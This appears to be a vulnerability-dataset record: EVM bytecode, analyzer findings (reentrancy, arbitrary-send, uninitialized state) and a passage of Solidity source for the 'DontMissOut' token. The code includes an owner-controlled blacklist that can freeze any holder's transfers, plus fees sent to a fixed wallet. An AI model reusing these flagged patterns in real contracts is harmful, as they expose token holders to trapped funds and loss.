f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202ffad6480b0831d1216afae4f9badc7470c33a3a33b4d4179fa7ca9078dcc63f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,501 |
0x9d6b490241ceea2807a8a8e3fd7ef660bb925ce9
|
/*
______ _ ___ ____ _____ _
| _ \ | | | \/ (_) | _ | | |
| | | |___ _ __ | |_| . . |_ ___ ___| | | |_ _| |_
| | | / _ \| '_ \| __| |\/| | / __/ __| | | | | | | __|
| |/ / (_) | | | | |_| | | | \__ \__ \ \_/ / |_| | |_
|___/ \___/|_| |_|\__\_| |_/_|___/___/\___/ \__,_|\__|
DontMissOut is for all the people who've missed out on the big gains we've all had the past few days.
It's time to make it fair for everyone!
Telegram: https://t.me/DontMissOutETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DontMissOut is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "DontMissOut";
string private constant _symbol = "DMO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xD876EE4D260318350B250875eB817b1F90FD9027);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading() external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
